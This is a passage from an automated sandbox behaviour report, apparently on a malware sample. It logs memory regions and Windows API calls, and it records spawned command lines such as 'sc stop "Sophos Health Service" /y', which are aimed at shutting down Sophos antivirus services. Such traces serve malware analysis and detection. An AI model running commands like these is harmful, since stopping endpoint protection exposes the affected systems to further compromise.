"\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3371 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3372 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3373 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3374 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3375 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3376 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3377 start_va = 0x310000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 3378 start_va = 0x5e0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3379 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3380 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3381 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3382 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3383 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3384 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3385 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3386 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3387 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3388 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3389 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3390 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3391 start_va = 0x250000 end_va = 0x30ffff entry_point = 0x250000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3392 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x130000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 138 os_tid = 0x8c4 [0061.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x8fbbc | out: lpSystemTimeAsFileTime=0x8fbbc*(dwLowDateTime=0xdf45e180, dwHighDateTime=0x1d4abdd)) [0061.185] GetCurrentProcessId () returned 0x924 [0061.185] GetCurrentThreadId () returned 0x8c4 [0061.185] GetTickCount () returned 0x1cb88 [0061.185] QueryPerformanceCounter (in: lpPerformanceCount=0x8fbb4 | out: lpPerformanceCount=0x8fbb4*=1813641500000) returned 1 [0061.185] GetModuleHandleA (lpModuleName=0x0) returned 0xa00000 [0061.185] __set_app_type (_Type=0x1) [0061.185] __p__fmode () returned 0x75ed31f4 [0061.186] __p__commode () returned 0x75ed31fc [0061.186] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xa079c7) returned 0x0 [0061.186] __wgetmainargs (in: _Argc=0xa09020, _Argv=0xa09028, _Env=0xa09024, _DoWildCard=0, _StartInfo=0xa09034 | out: _Argc=0xa09020, _Argv=0xa09028, _Env=0xa09024) returned 0 [0061.187] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.190] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.190] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0061.190] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0061.190] _wcsicmp (_String1="stop", _String2="query") returned 2 [0061.190] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0061.190] _wcsicmp (_String1="stop", _String2="start") returned 14 [0061.190] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0061.190] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0061.190] _wcsicmp (_String1="stop", _String2="control") returned 16 [0061.190] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0061.190] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0061.190] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x31f7c8 [0061.192] OpenServiceW (hSCManager=0x31f7c8, lpServiceName="Sophos File Scanner Service", dwDesiredAccess=0x20) returned 0x0 [0061.193] GetLastError () returned 0x424 [0061.193] _itow (in: _Dest=0x424, _Radix=588372 | out: _Dest=0x424) returned="1060" [0061.193] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xa09380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0061.194] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x8fa3c, nSize=0x2, Arguments=0x8fa48 | out: lpBuffer="ᨸ2\x01") returned 0x62 [0061.194] GetFileType (hFile=0x7) returned 0x2 [0061.195] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x8fa10 | out: lpMode=0x8fa10) returned 1 [0061.195] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x321a38*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x8fa2c, lpReserved=0x0 | out: lpBuffer=0x321a38*, lpNumberOfCharsWritten=0x8fa2c*=0x62) returned 1 [0061.195] LocalFree (hMem=0x321a38) returned 0x0 [0061.195] LocalFree (hMem=0x0) returned 0x0 [0061.195] CloseServiceHandle (hSCObject=0x31f7c8) returned 1 [0061.197] exit (_Code=1060) Thread: id = 139 os_tid = 0x8b0 Process: id = "54" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2d413000" os_pid = "0x8cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Health Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3393 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3394 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3395 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3396 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3397 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3398 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3399 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 3400 start_va = 0x4aca0000 end_va = 0x4acebfff entry_point = 0x4aca0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 3401 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3402 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3403 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3404 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3405 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3406 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3407 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3408 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3409 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3410 start_va = 0x560000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 3411 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3412 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3413 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3414 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3415 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3416 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3417 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3418 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3419 start_va = 0x740000 end_va = 0x83ffff entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 3420 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 3421 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3422 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3423 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3424 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3425 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3426 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3427 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3428 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3429 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3430 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3431 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3432 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3433 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3434 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3435 start_va = 0x200000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3436 start_va = 0x840000 end_va = 0x9c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 3437 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3438 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3439 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3440 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3441 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3442 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3443 start_va = 0x9d0000 end_va = 0xb50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 3444 start_va = 0xb60000 end_va = 0x1f5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 3445 start_va = 0x1f60000 end_va = 0x22a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f60000" filename = "" Region: id = 3446 start_va = 0x22b0000 end_va = 0x257efff entry_point = 0x22b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 140 os_tid = 0x8b8 [0061.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ff9e4 | out: lpSystemTimeAsFileTime=0x3ff9e4*(dwLowDateTime=0xdf5b4de0, dwHighDateTime=0x1d4abdd)) [0061.314] GetCurrentProcessId () returned 0x8cc [0061.314] GetCurrentThreadId () returned 0x8b8 [0061.315] GetTickCount () returned 0x1cc14 [0061.315] QueryPerformanceCounter (in: lpPerformanceCount=0x3ff9dc | out: lpPerformanceCount=0x3ff9dc*=1813654500000) returned 1 [0061.315] GetModuleHandleA (lpModuleName=0x0) returned 0x4aca0000 [0061.316] __set_app_type (_Type=0x1) [0061.316] __p__fmode () returned 0x75ed31f4 [0061.316] __p__commode () returned 0x75ed31fc [0061.316] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4acc21a6) returned 0x0 [0061.316] __getmainargs (in: _Argc=0x4acc4238, _Argv=0x4acc4240, _Env=0x4acc423c, _DoWildCard=0, _StartInfo=0x4acc4140 | out: _Argc=0x4acc4238, _Argv=0x4acc4240, _Env=0x4acc423c) returned 0 [0061.316] GetCurrentThreadId () returned 0x8b8 [0061.316] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8b8) returned 0x60 [0061.316] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0061.316] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0061.316] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.317] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.317] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ff974 | out: phkResult=0x3ff974*=0x0) returned 0x2 [0061.317] VirtualQuery (in: lpAddress=0x3ff9ab, lpBuffer=0x3ff944, dwLength=0x1c | out: lpBuffer=0x3ff944*(BaseAddress=0x3ff000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0061.317] VirtualQuery (in: lpAddress=0x300000, lpBuffer=0x3ff944, dwLength=0x1c | out: lpBuffer=0x3ff944*(BaseAddress=0x300000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0061.318] VirtualQuery (in: lpAddress=0x301000, lpBuffer=0x3ff944, dwLength=0x1c | out: lpBuffer=0x3ff944*(BaseAddress=0x301000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0061.318] VirtualQuery (in: lpAddress=0x303000, lpBuffer=0x3ff944, dwLength=0x1c | out: lpBuffer=0x3ff944*(BaseAddress=0x303000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0061.318] VirtualQuery (in: lpAddress=0x400000, lpBuffer=0x3ff944, dwLength=0x1c | out: lpBuffer=0x3ff944*(BaseAddress=0x400000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0061.318] GetConsoleOutputCP () returned 0x1b5 [0061.318] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acc4260 | out: lpCPInfo=0x4acc4260) returned 1 [0061.318] SetConsoleCtrlHandler (HandlerRoutine=0x4acbe72a, Add=1) returned 1 [0061.318] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.318] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0061.318] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.318] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4acc41ac | out: lpMode=0x4acc41ac) returned 1 [0061.318] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.318] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0061.319] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.319] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4acc41b0 | out: lpMode=0x4acc41b0) returned 1 [0061.319] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.319] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0061.319] GetEnvironmentStringsW () returned 0x752b40* [0061.319] FreeEnvironmentStringsW (penv=0x752b40) returned 1 [0061.319] GetEnvironmentStringsW () returned 0x752b40* [0061.319] FreeEnvironmentStringsW (penv=0x752b40) returned 1 [0061.319] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fe8e4 | out: phkResult=0x3fe8e4*=0x6c) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x32, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x1, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x1, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x0, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x40, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x40, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x40, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0061.320] RegCloseKey (hKey=0x6c) returned 0x0 [0061.320] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fe8e4 | out: phkResult=0x3fe8e4*=0x6c) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x40, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x1, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x1, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x0, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x9, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x9, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0061.320] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x9, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0061.320] RegCloseKey (hKey=0x6c) returned 0x0 [0061.320] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f5c [0061.320] srand (_Seed=0x5c3c3f5c) [0061.320] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Health Service\" /y" [0061.320] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Health Service\" /y" [0061.321] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acc5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.321] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x754bd0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0061.321] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0061.321] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acd0640, nSize=0x2000 | out: 